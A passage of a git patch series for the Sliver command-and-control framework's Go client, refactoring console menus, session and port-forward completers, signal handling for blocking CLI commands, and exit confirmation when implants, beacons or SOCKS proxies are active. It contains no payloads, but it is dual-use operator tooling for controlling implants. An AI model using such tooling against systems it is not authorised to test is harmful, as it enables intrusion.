sliver client console", + Use: "console", + Short: "Start the sliver client console", + GroupID: consts.GenericHelpGroup, RunE: func(cmd *cobra.Command, args []string) error { - con.IsCLI = false // Bind commands to the closed-loop console. server := con.App.Menu(consts.ServerMenu) diff --git a/client/console/console.go b/client/console/console.go index cabc315640..f7097dd069 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -31,6 +31,11 @@ import ( "sync" "time" + "github.com/spf13/cobra" + "golang.org/x/exp/slog" + "google.golang.org/grpc" + "google.golang.org/grpc/status" + "github.com/bishopfox/sliver/client/assets" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/spin" @@ -42,10 +47,6 @@ import ( "github.com/reeflective/console" "github.com/reeflective/readline" "github.com/reeflective/team/client" - "github.com/spf13/cobra" - "golang.org/x/exp/slog" - "google.golang.org/grpc" - "google.golang.org/grpc/status" ) const ( @@ -195,7 +196,6 @@ func newClient() *SliverClient { // Server menu. server := con.App.Menu(consts.ServerMenu) - server.Short = "Server commands" server.Prompt().Primary = con.GetPrompt server.AddInterrupt(readline.ErrInterrupt, con.exitConsole) // Ctrl-C @@ -204,7 +204,6 @@ func newClient() *SliverClient { // Implant menu. sliver := con.App.NewMenu(consts.ImplantMenu) - sliver.Short = "Implant commands" sliver.Prompt().Primary = con.GetPrompt sliver.AddInterrupt(io.EOF, con.exitImplantMenu) // Ctrl-D @@ -220,6 +219,7 @@ func newClient() *SliverClient { // because the console needs to query the terminal for cursor positions // when asynchronously printing logs (that is, when no command is running). func (con *SliverClient) StartConsole() error { + con.IsCLI = false con.printf = con.App.TransientPrintf return con.App.Start() diff --git a/client/console/readline.go b/client/console/readline.go index 3f1f65e1e7..5ac4b15f7d 100644 --- a/client/console/readline.go +++ b/client/console/readline.go @@ -32,6 +32,7 @@ import ( "github.com/reeflective/console" ) +// GetPrompt returns the prompt string computed for the current context. func (con *SliverClient) GetPrompt() string { prompt := Underline + "sliver" + Normal if con.IsServer { @@ -46,6 +47,7 @@ func (con *SliverClient) GetPrompt() string { return Clearln + prompt } +// PrintLogo prints the Sliver console logo. func (con *SliverClient) PrintLogo() { serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) if err != nil { diff --git a/server/command/server.go b/server/command/server.go index bedce7fc3d..7164961d97 100644 --- a/server/command/server.go +++ b/server/command/server.go @@ -23,6 +23,7 @@ import ( "github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/server/command/assets" "github.com/bishopfox/sliver/server/command/builder" "github.com/bishopfox/sliver/server/command/certs" @@ -35,7 +36,9 @@ import ( func TeamserverCommands(team *server.Server, con *console.SliverClient) command.SliverBinder { return func(con *console.SliverClient) (cmds []*cobra.Command) { // Teamserver management - cmds = append(cmds, commands.Generate(team, con.Teamclient)) + teamclientCmds := commands.Generate(team, con.Teamclient) + teamclientCmds.GroupID = constants.GenericHelpGroup + cmds = append(cmds, teamclientCmds) // Sliver-specific cmds = append(cmds, version.Commands(con)...) From ed129716ebd2c6802a22f5e1e464398d20869d12 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 10 Aug 2023 04:58:55 +0200 Subject: [PATCH 071/124] Fixes --- client/command/sessions/commands.go | 28 --------------------------- client/command/sessions/helpers.go | 28 +++++++++++++++++++++++++++ client/command/use/commands.go | 3 ++- client/command/use/use.go | 30 ++--------------------------- server/command/server.go | 5 +++-- 5 files changed, 35 insertions(+), 59 deletions(-) diff --git a/client/command/sessions/commands.go b/client/command/sessions/commands.go index 3e14771fc1..183c558619 100644 --- a/client/command/sessions/commands.go +++ b/client/command/sessions/commands.go @@ -1,15 +1,10 @@ package sessions import ( - "context" - "fmt" - "strings" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/rsteube/carapace" "github.com/spf13/cobra" "github.com/spf13/pflag" @@ -60,29 +55,6 @@ func Commands(con *console.SliverClient) []*cobra.Command { return []*cobra.Command{sessionsCmd} } -// SessionIDCompleter completes session IDs. -func SessionIDCompleter(con *console.SliverClient) carapace.Action { - callback := func(_ carapace.Context) carapace.Action { - results := make([]string, 0) - - sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) - if err == nil { - for _, s := range sessions.Sessions { - link := fmt.Sprintf("[%s <- %s]", s.ActiveC2, s.RemoteAddress) - id := fmt.Sprintf("%s (%d)", s.Name, s.PID) - userHost := fmt.Sprintf("%s@%s", s.Username, s.Hostname) - desc := strings.Join([]string{id, userHost, link}, " ") - - results = append(results, s.ID[:8]) - results = append(results, desc) - } - } - return carapace.ActionValuesDescribed(results...).Tag("sessions") - } - - return carapace.ActionCallback(callback) -} - // SliverCommands returns all session control commands for the active target. func SliverCommands(con *console.SliverClient) []*cobra.Command { backgroundCmd := &cobra.Command{ diff --git a/client/command/sessions/helpers.go b/client/command/sessions/helpers.go index 18c90026d1..f68c9c92af 100644 --- a/client/command/sessions/helpers.go +++ b/client/command/sessions/helpers.go @@ -31,6 +31,7 @@ import ( "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/rsteube/carapace" ) var ( @@ -103,3 +104,30 @@ func SelectSession(onlyAlive bool, con *console.SliverClient) (*clientpb.Session } return nil, ErrNoSelection } + +// SessionIDCompleter completes session IDs. +func SessionIDCompleter(con *console.SliverClient) carapace.Action { + callback := func(_ carapace.Context) carapace.Action { + if msg, err := con.ConnectComplete(); err != nil { + return msg + } + + results := make([]string, 0) + + sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) + if err == nil { + for _, s := range sessions.Sessions { + link := fmt.Sprintf("[%s <- %s]", s.ActiveC2, s.RemoteAddress) + id := fmt.Sprintf("%s (%d)", s.Name, s.PID) + userHost := fmt.Sprintf("%s@%s", s.Username, s.Hostname) + desc := strings.Join([]string{id, userHost, link}, " ") + + results = append(results, s.ID[:8]) + results = append(results, desc) + } + } + return carapace.ActionValuesDescribed(results...).Tag("sessions") + } + + return carapace.ActionCallback(callback) +} diff --git a/client/command/use/commands.go b/client/command/use/commands.go index c0ba8587e3..bdc2ea3002 100644 --- a/client/command/use/commands.go +++ b/client/command/use/commands.go @@ -4,6 +4,7 @@ import ( "github.com/bishopfox/sliver/client/command/beacons" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/command/sessions" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/rsteube/carapace" @@ -35,7 +36,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { UseSessionCmd(cmd, con, args) }, } - carapace.Gen(useSessionCmd).PositionalCompletion(SessionIDCompleter(con)) + carapace.Gen(useSessionCmd).PositionalCompletion(sessions.SessionIDCompleter(con)) useCmd.AddCommand(useSessionCmd) useBeaconCmd := &cobra.Command{ diff --git a/client/command/use/use.go b/client/command/use/use.go index 19ef853fd8..6b11371b5e 100644 --- a/client/command/use/use.go +++ b/client/command/use/use.go @@ -29,6 +29,7 @@ import ( "github.com/AlecAivazis/survey/v2" "github.com/bishopfox/sliver/client/command/beacons" + "github.com/bishopfox/sliver/client/command/sessions" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" @@ -187,37 +188,10 @@ func BeaconAndSessionIDCompleter(con *console.SliverClient) carapace.Action { var action carapace.Action return action.Invoke(ctx).Merge( - SessionIDCompleter(con).Invoke(ctx), + sessions.SessionIDCompleter(con).Invoke(ctx), beacons.BeaconIDCompleter(con).Invoke(ctx), ).ToA() } return carapace.ActionCallback(comps) } - -// SessionIDCompleter completes session IDs. -func SessionIDCompleter(con *console.SliverClient) carapace.Action { - callback := func(_ carapace.Context) carapace.Action { - if msg, err := con.ConnectComplete(); err != nil { - return msg - } - - results := make([]string, 0) - - sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) - if err == nil { - for _, s := range sessions.Sessions { - link := fmt.Sprintf("[%s <- %s]", s.ActiveC2, s.RemoteAddress) - id := fmt.Sprintf("%s (%d)", s.Name, s.PID) - userHost := fmt.Sprintf("%s@%s", s.Username, s.Hostname) - desc := strings.Join([]string{id, userHost, link}, " ") - - results = append(results, s.ID[:8]) - results = append(results, desc) - } - } - return carapace.ActionValuesDescribed(results...).Tag("sessions") - } - - return carapace.ActionCallback(callback) -} diff --git a/server/command/server.go b/server/command/server.go index 7164961d97..a8289dd238 100644 --- a/server/command/server.go +++ b/server/command/server.go @@ -21,6 +21,9 @@ package command import ( "github.com/spf13/cobra" + "github.com/reeflective/team/server" + "github.com/reeflective/team/server/commands" + "github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/constants" @@ -28,8 +31,6 @@ import ( "github.com/bishopfox/sliver/server/command/builder" "github.com/bishopfox/sliver/server/command/certs" "github.com/bishopfox/sliver/server/command/version" - "github.com/reeflective/team/server" - "github.com/reeflective/team/server/commands" ) // TeamserverCommands is the equivalent of client/command.ServerCommands(), but for server-binary only ones. From 87d26f88465ca49a23017895b63bba617e8fe8d8 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 10 Aug 2023 06:54:52 +0200 Subject: [PATCH 072/124] Handle blocking operations in CLI --- client/command/portfwd/portfwd-add.go | 2 ++ client/command/portfwd/portfwd.go | 8 ++++++- client/command/rportfwd/portfwd-add.go | 2 ++ client/command/socks/socks-start.go | 2 ++ client/console/console.go | 29 ++++++++++++++++++++++++++ 5 files changed, 42 insertions(+), 1 deletion(-) diff --git a/client/command/portfwd/portfwd-add.go b/client/command/portfwd/portfwd-add.go index 42c481ea2d..6793cba165 100644 --- a/client/command/portfwd/portfwd-add.go +++ b/client/command/portfwd/portfwd-add.go @@ -88,4 +88,6 @@ func PortfwdAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) }() con.PrintInfof("Port forwarding %s -> %s:%s\n", bindAddr, remoteHost, remotePort) + + con.WaitSignal() } diff --git a/client/command/portfwd/portfwd.go b/client/command/portfwd/portfwd.go index 712e975690..8314347b07 100644 --- a/client/command/portfwd/portfwd.go +++ b/client/command/portfwd/portfwd.go @@ -77,8 +77,14 @@ func PortfwdIDCompleter(_ *console.SliverClient) carapace.Action { } for _, fwd := range portfwds { + results = append(results, strconv.Itoa(int(fwd.ID))) - results = append(results, fmt.Sprintf("%s (%s)", fwd.BindAddr, fwd.SessionID)) + results = append(results, fmt.Sprintf("%s (%s) %s -> %s", + fwd.BindAddr, + fwd.SessionID[:8], + fwd.BindAddr, + fwd.RemoteAddr, + )) } if len(results) == 0 { diff --git a/client/command/rportfwd/portfwd-add.go b/client/command/rportfwd/portfwd-add.go index 84c168e4e5..94b96dfae3 100644 --- a/client/command/rportfwd/portfwd-add.go +++ b/client/command/rportfwd/portfwd-add.go @@ -63,6 +63,8 @@ func StartRportFwdListenerCmd(cmd *cobra.Command, con *console.SliverClient, arg return } printStartedRportFwdListener(rportfwdListener, con) + + con.WaitSignal() } func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverClient) { diff --git a/client/command/socks/socks-start.go b/client/command/socks/socks-start.go index 63cf7a9fa7..84f6f07aa0 100644 --- a/client/command/socks/socks-start.go +++ b/client/command/socks/socks-start.go @@ -81,6 +81,8 @@ func SocksStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) }(core.SocksProxies.Add(channelProxy).ChannelProxy) con.PrintInfof("Started SOCKS5 %s %s %s %s\n", host, port, username, password) con.PrintWarnf("In-band SOCKS proxies can be a little unstable depending on protocol\n") + + con.WaitSignal() } func randomPassword() string { diff --git a/client/console/console.go b/client/console/console.go index f7097dd069..c27950646f 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -25,10 +25,12 @@ import ( "io" "log" "os" + "os/signal" "path/filepath" "strconv" "strings" "sync" + "syscall" "time" "github.com/spf13/cobra" @@ -312,6 +314,33 @@ func (con *SliverClient) SpinUntil(message string, ctrl chan bool) { go spin.Until(os.Stdout, message, ctrl) } +// WaitSignal listens for os.Signals and returns when receiving one of the following: +// SIGINT, SIGTERM, SIGQUIT. +// +// This can be used for commands which should block if executed in an exec-once CLI run: +// if the command is ran in the closed-loop console, this function will not monitor signals +// and return immediately. +func (con *SliverClient) WaitSignal() error { + if !con.IsCLI { + return nil + } + + sigchan := make(chan os.Signal, 1) + + signal.Notify( + sigchan, + syscall.SIGINT, + syscall.SIGTERM, + syscall.SIGQUIT, + // syscall.SIGKILL, + ) + + sig := <-sigchan + con.PrintInfof("Received signal %s\n", sig) + + return nil +} + // FormatDateDelta - Generate formatted date string of the time delta between then and now. func (con *SliverClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string { nextTime := t.Format(time.UnixDate) From f49fe4bdc41d93c42468d43d5012d6197d0c5b56 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 10 Aug 2023 07:00:37 +0200 Subject: [PATCH 073/124] Move reactions loading to console entry command --- client/command/console/console.go | 13 ++++++++++++- client/command/server.go | 30 +++++++++++++++++------------- client/console/console.go | 8 ++++---- client/console/implant.go | 6 +++--- 4 files changed, 36 insertions(+), 21 deletions(-) diff --git a/client/command/console/console.go b/client/command/console/console.go index d057f5f185..35218996cf 100644 --- a/client/command/console/console.go +++ b/client/command/console/console.go @@ -19,12 +19,15 @@ package console */ import ( + "os" + + "github.com/reeflective/console" "github.com/spf13/cobra" "github.com/bishopfox/sliver/client/command" + "github.com/bishopfox/sliver/client/command/reaction" client "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/reeflective/console" ) // Command returns the closed-loop Sliver console command. @@ -47,6 +50,14 @@ func Command(con *client.SliverClient, serverCmds console.Commands) *cobra.Comma sliver := con.App.Menu(consts.ImplantMenu) sliver.SetCommands(command.SliverCommands(con)) + // Reactions + n, err := reaction.LoadReactions() + if err != nil && !os.IsNotExist(err) { + con.PrintErrorf("Failed to load reactions: %s\n", err) + } else if n > 0 { + con.PrintInfof("Loaded %d reaction(s) from disk\n", n) + } + // Start the console, blocking until player exit. return con.StartConsole() }, diff --git a/client/command/server.go b/client/command/server.go index 7f271c6140..95baa9bab3 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -19,8 +19,6 @@ package command */ import ( - "os" - "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/armory" "github.com/bishopfox/sliver/client/command/beacons" @@ -47,10 +45,14 @@ import ( "github.com/bishopfox/sliver/client/command/wireguard" client "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + cc "github.com/ivanpirog/coloredcobra" "github.com/reeflective/console" "github.com/spf13/cobra" ) +// SliverBinder is the signature of command yielder functions passed and used by +// the Sliver client. Currently this function type is only used as an alias for +// loading command sets easily, and is not part of any interface. type SliverBinder func(con *client.SliverClient) []*cobra.Command // ServerCommands returns all commands bound to the server menu, optionally @@ -66,6 +68,18 @@ func ServerCommands(con *client.SliverClient, serverCmds SliverBinder) console.C }, } + cc.Init(&cc.Config{ + RootCmd: server, + NoExtraNewlines: true, + NoBottomNewline: true, + Headings: cc.HiCyan + cc.Bold + cc.Underline, + ExecName: cc.Bold, + Example: cc.Italic, + Commands: cc.HiYellow + cc.Bold, + Flags: cc.Bold, + FlagsDataType: cc.Italic, + }) + // Utility function to be used for binding new commands to // the sliver menu: call the function with the name of the // group under which this/these commands should be added, @@ -73,7 +87,7 @@ func ServerCommands(con *client.SliverClient, serverCmds SliverBinder) console.C bind := MakeBind(server, con) if serverCmds != nil { - bind(consts.TeamserverHelpGroup, + bind(consts.GenericHelpGroup, serverCmds, ) } @@ -132,16 +146,6 @@ func ServerCommands(con *client.SliverClient, serverCmds SliverBinder) console.C // (although you can do so without fear). If there are any final modifications // to make to the server menu command tree, it time to do them here. - // Only load reactions when the console is going to be started. - if !con.IsCLI { - n, err := reaction.LoadReactions() - if err != nil && !os.IsNotExist(err) { - con.PrintErrorf("Failed to load reactions: %s\n", err) - } else if n > 0 { - con.PrintInfof("Loaded %d reaction(s) from disk\n", n) - } - } - server.InitDefaultHelpCmd() server.SetHelpCommandGroupID(consts.GenericHelpGroup) diff --git a/client/console/console.go b/client/console/console.go index c27950646f..c475749f01 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -107,7 +107,7 @@ type SliverClient struct { App *console.Console Settings *assets.ClientSettings IsServer bool - IsCLI bool + isCLI bool // Teamclient & remotes Teamclient *client.Client @@ -175,7 +175,7 @@ func newClient() *SliverClient { con := &SliverClient{ App: console.New("sliver"), Settings: settings, - IsCLI: true, + isCLI: true, printf: fmt.Printf, ActiveTarget: newActiveTarget(), EventListeners: &sync.Map{}, @@ -221,7 +221,7 @@ func newClient() *SliverClient { // because the console needs to query the terminal for cursor positions // when asynchronously printing logs (that is, when no command is running). func (con *SliverClient) StartConsole() error { - con.IsCLI = false + con.isCLI = false con.printf = con.App.TransientPrintf return con.App.Start() @@ -321,7 +321,7 @@ func (con *SliverClient) SpinUntil(message string, ctrl chan bool) { // if the command is ran in the closed-loop console, this function will not monitor signals // and return immediately. func (con *SliverClient) WaitSignal() error { - if !con.IsCLI { + if !con.isCLI { return nil } diff --git a/client/console/implant.go b/client/console/implant.go index 0bd05496cc..226219ce45 100644 --- a/client/console/implant.go +++ b/client/console/implant.go @@ -149,7 +149,7 @@ func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) { observer(s.session, s.beacon) } - if s.con.IsCLI { + if s.con.isCLI { return } @@ -176,7 +176,7 @@ func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) { } } - if s.con.IsCLI { + if s.con.isCLI { return } @@ -197,7 +197,7 @@ func (s *ActiveTarget) Background() { } // Switch back to server menu. - if !s.con.IsCLI && s.con.App.ActiveMenu().Name() == consts.ImplantMenu { + if !s.con.isCLI && s.con.App.ActiveMenu().Name() == consts.ImplantMenu { s.con.App.SwitchMenu(consts.ServerMenu) } } From 25599424b02a2c1dd9378397a4e1c6d5464fbf0f Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 10 Aug 2023 08:02:13 +0200 Subject: [PATCH 074/124] Correctly filter commands even in CLI --- client/cli/implant.go | 15 ++++++--------- client/console/console.go | 3 +++ client/console/teamclient.go | 6 ++---- 3 files changed, 11 insertions(+), 13 deletions(-) diff --git a/client/cli/implant.go b/client/cli/implant.go index 4dfdff08a3..984f8b5477 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -43,10 +43,6 @@ func implantCmd(con *client.SliverClient, sliverCmds console.Commands) *cobra.Co if err != nil { return } - - // And let the console and its active target decide - // what should be available to us, and what should not. - con.ActiveTarget.FilterCommands(implantCmd) }) // This completer will try connect to the server anyway, if not done already. @@ -79,18 +75,19 @@ func preRunImplant(implantCmd *cobra.Command, con *client.SliverClient) func(cmd session := con.GetSession(target) if session != nil { con.ActiveTarget.Set(session, nil) - return nil } beacon := con.GetBeacon(target) if beacon != nil { con.ActiveTarget.Set(nil, beacon) - return nil } - // And let the console and its active target decide - // what should be available to us, and what should not. - con.ActiveTarget.FilterCommands(implantCmd) + // If the command is marked filtered (should not be ran in + // the current context/target), don't do anything and return. + // This is identical to the filtering behavior in the console. + if err := con.App.Menu(constants.ImplantMenu).ErrUnavailableCommand(cmd); err != nil { + return err + } return nil } diff --git a/client/console/console.go b/client/console/console.go index c475749f01..5edb4371b0 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -238,6 +238,7 @@ func (con *SliverClient) ExposeCommands() { con.App.HideCommands(filters...) } +// GetSession returns the session matching an ID, either by prefix or strictly. func (con *SliverClient) GetSession(arg string) *clientpb.Session { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { @@ -252,6 +253,7 @@ func (con *SliverClient) GetSession(arg string) *clientpb.Session { return nil } +// GetBeacon returns the beacon matching an ID, either by prefix or strictly. func (con *SliverClient) GetBeacon(arg string) *clientpb.Beacon { beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) if err != nil { @@ -310,6 +312,7 @@ func (con *SliverClient) GetActiveSessionConfig() *clientpb.ImplantConfig { return config } +// SpinUntil starts a console display spinner in the background (non-blocking) func (con *SliverClient) SpinUntil(message string, ctrl chan bool) { go spin.Until(os.Stdout, message, ctrl) } diff --git a/client/console/teamclient.go b/client/console/teamclient.go index bed430783a..03acd39ee0 100644 --- a/client/console/teamclient.go +++ b/client/console/teamclient.go @@ -48,16 +48,14 @@ func (con *SliverClient) ConnectRun(cmd *cobra.Command, _ []string) error { return nil } - err := con.runPreConnectHooks() - if err != nil { + if err := con.runPreConnectHooks(); err != nil { return err } // Let our teamclient connect the transport/RPC stack. // Note that this uses a sync.Once to ensure we don't // connect more than once. - err = con.Teamclient.Connect() - if err != nil { + if err := con.Teamclient.Connect(); err != nil { return err } From 0b9cea476374efd61f891a8465c09ccc5b6f80cb Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 10 Aug 2023 08:19:08 +0200 Subject: [PATCH 075/124] Cleaner interrupts in all menus --- client/command/exit/exit.go | 33 +---------------- client/console/readline.go | 70 ++++++++++++++++++++++++++++++------- 2 files changed, 58 insertions(+), 45 deletions(-) diff --git a/client/command/exit/exit.go b/client/command/exit/exit.go index af74dfc1eb..bbcad99173 100644 --- a/client/command/exit/exit.go +++ b/client/command/exit/exit.go @@ -19,49 +19,18 @@ package exit */ import ( - "context" - "fmt" - "os" - - "github.com/AlecAivazis/survey/v2" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/spf13/cobra" ) -// ExitCmd - Exit the console. -func ExitCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { - fmt.Println("Exiting...") - if con.IsServer { - sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) - if err != nil { - os.Exit(1) - } - beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) - if err != nil { - os.Exit(1) - } - if 0 < len(sessions.Sessions) || 0 < len(beacons.Beacons) { - con.Printf("There are %d active sessions and %d active beacons.\n", len(sessions.Sessions), len(beacons.Beacons)) - confirm := false - prompt := &survey.Confirm{Message: "Are you sure you want to exit?"} - survey.AskOne(prompt, &confirm) - if !confirm { - return - } - } - } - os.Exit(0) -} - // Commands returns the `exit` command. func Command(con *console.SliverClient) []*cobra.Command { return []*cobra.Command{{ Use: "exit", Short: "Exit the program", Run: func(cmd *cobra.Command, args []string) { - ExitCmd(cmd, con, args) + con.ExitConfirm() }, GroupID: constants.GenericHelpGroup, }} diff --git a/client/console/readline.go b/client/console/readline.go index 5ac4b15f7d..578b69f8d4 100644 --- a/client/console/readline.go +++ b/client/console/readline.go @@ -19,14 +19,14 @@ package console */ import ( - "bufio" "context" "fmt" insecureRand "math/rand" "os" "strings" - consts "github.com/bishopfox/sliver/client/constants" + "github.com/AlecAivazis/survey/v2" + "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/reeflective/console" @@ -73,23 +73,67 @@ func (con *SliverClient) PrintLogo() { con.CheckLastUpdate() } -// exitConsole prompts the user for confirmation to exit the console. -func (c *SliverClient) exitConsole(_ *console.Console) { - reader := bufio.NewReader(os.Stdin) - fmt.Print("Confirm exit (Y/y, Ctrl-C): ") - text, _ := reader.ReadString('\n') - answer := strings.TrimSpace(text) +// ExitConfirm tries to exit the Sliver go program. +// It will prompt on stdin for confirmation if: +// - The program is a Sliver server and has active slivers under management. +// - The program is a client and has active port forwarders or SOCKS proxies. +// In any of those cases and without confirm, the function does nothing. +func (con *SliverClient) ExitConfirm() { + fmt.Println("Exiting...") + + if con.IsServer { + sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) + if err != nil { + os.Exit(1) + } + beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) + if err != nil { + os.Exit(1) + } + if 0 < len(sessions.Sessions) || 0 < len(beacons.Beacons) { + con.Printf("There are %d active sessions and %d active beacons.\n", len(sessions.Sessions), len(beacons.Beacons)) + confirm := false + prompt := &survey.Confirm{Message: "Are you sure you want to exit?"} + survey.AskOne(prompt, &confirm) + if !confirm { + return + } + } + } + + // Client might have portfwds/socks + portfwds := core.Portfwds.List() + servers := core.SocksProxies.List() + + if len(portfwds) > 0 { + con.Printf("There are %d active (bind) port forwarders.\n", len(portfwds)) + } - if (answer == "Y") || (answer == "y") { - os.Exit(0) + if len(servers) > 0 { + con.Printf("There are %d active SOCKS servers.\n", len(servers)) } + + if len(portfwds)+len(servers) > 0 { + confirm := false + prompt := &survey.Confirm{Message: "Are you sure you want to exit?"} + survey.AskOne(prompt, &confirm) + if !confirm { + return + } + } + + os.Exit(0) +} + +// exitConsole prompts the user for confirmation to exit the console. +func (c *SliverClient) exitConsole(_ *console.Console) { + c.ExitConfirm() } // exitImplantMenu uses the background command to detach from the implant menu. func (c *SliverClient) exitImplantMenu(_ *console.Console) { - root := c.App.Menu(consts.ImplantMenu).Command - root.SetArgs([]string{"background"}) - root.Execute() + c.ActiveTarget.Background() + c.PrintInfof("Background ...\n") } var abilities = []string{ From 0e6c859473f4147268e70ee05e700bb2e188679f Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 10 Aug 2023 08:50:51 +0200 Subject: [PATCH 076/124] Ensure "task sent" is printed before result. --- client/console/console.go | 4 ++++ client/console/events.go | 19 +++++++++++++++++++ client/console/log.go | 3 +++ 3 files changed, 26 insertions(+) diff --git a/client/console/console.go b/client/console/console.go index 5edb4371b0..b51194b962 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -124,7 +124,9 @@ type SliverClient struct { ActiveTarget *ActiveTarget EventListeners *sync.Map BeaconTaskCallbacks map[string]BeaconTaskCallback + beaconSentStatus map[string]*sync.WaitGroup BeaconTaskCallbacksMutex *sync.Mutex + beaconTaskSentMutex *sync.Mutex } // NewSliverClient is the general-purpose Sliver Client constructor. @@ -180,7 +182,9 @@ func newClient() *SliverClient { ActiveTarget: newActiveTarget(), EventListeners: &sync.Map{}, BeaconTaskCallbacks: map[string]BeaconTaskCallback{}, + beaconSentStatus: map[string]*sync.WaitGroup{}, BeaconTaskCallbacksMutex: &sync.Mutex{}, + beaconTaskSentMutex: &sync.Mutex{}, } con.App.SetPrintLogo(func(_ *console.Console) { diff --git a/client/console/events.go b/client/console/events.go index ab2c660141..a37199f2cd 100644 --- a/client/console/events.go +++ b/client/console/events.go @@ -23,6 +23,7 @@ import ( "fmt" "io" "strings" + "sync" "time" consts "github.com/bishopfox/sliver/client/constants" @@ -217,6 +218,15 @@ func (con *SliverClient) triggerBeaconTaskCallback(data []byte) { con.PrintErrorf("\rCould not unmarshal beacon task: %s", err) return } + + // If needed, wait for the "request sent" status to be printed first. + if waitStatus := con.beaconSentStatus[task.ID]; waitStatus != nil { + waitStatus.Wait() + con.beaconTaskSentMutex.Lock() + delete(con.beaconSentStatus, task.ID) + con.beaconTaskSentMutex.Unlock() + } + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) defer cancel() beacon, _ := con.Rpc.GetBeacon(ctx, &clientpb.Beacon{ID: task.BeaconID}) @@ -246,7 +256,16 @@ func (con *SliverClient) triggerBeaconTaskCallback(data []byte) { } func (con *SliverClient) AddBeaconCallback(taskID string, callback BeaconTaskCallback) { + // Store the task ID. con.BeaconTaskCallbacksMutex.Lock() defer con.BeaconTaskCallbacksMutex.Unlock() con.BeaconTaskCallbacks[taskID] = callback + + // And wait for the "request sent" status to be printed before results. + con.beaconTaskSentMutex.Lock() + wait := &sync.WaitGroup{} + wait.Add(1) + con.beaconSentStatus[taskID] = wait + defer con.beaconTaskSentMutex.Unlock() + } diff --git a/client/console/log.go b/client/console/log.go index 8a607153af..4eb32b66f7 100644 --- a/client/console/log.go +++ b/client/console/log.go @@ -205,8 +205,11 @@ func getConsoleAsciicastFile() *os.File { // PrintAsyncResponse - Print the generic async response information. func (con *SliverClient) PrintAsyncResponse(resp *commonpb.Response) { + defer con.beaconSentStatus[resp.TaskID].Done() + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) defer cancel() + beacon, err := con.Rpc.GetBeacon(ctx, &clientpb.Beacon{ID: resp.BeaconID}) if err != nil { con.PrintWarnf(err.Error()) From ac04f6d85bff71f43d347387a6a5b74c6fadc179 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 10 Aug 2023 09:24:27 +0200 Subject: [PATCH 077/124] Fix help completion for implant subtree --- client/command/sliver.go | 42 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 42 insertions(+) diff --git a/client/command/sliver.go b/client/command/sliver.go index c9dc292d2f..4bc27a3ec5 100644 --- a/client/command/sliver.go +++ b/client/command/sliver.go @@ -19,6 +19,8 @@ package command */ import ( + "strings" + "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/backdoor" @@ -50,6 +52,7 @@ import ( client "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/reeflective/console" + "github.com/rsteube/carapace" "github.com/spf13/cobra" ) @@ -165,6 +168,7 @@ func SliverCommands(con *client.SliverClient) console.Commands { sliver.InitDefaultHelpCmd() sliver.SetHelpCommandGroupID(consts.SliverCoreHelpGroup) + initHelpCompletion(sliver) // Compute which commands 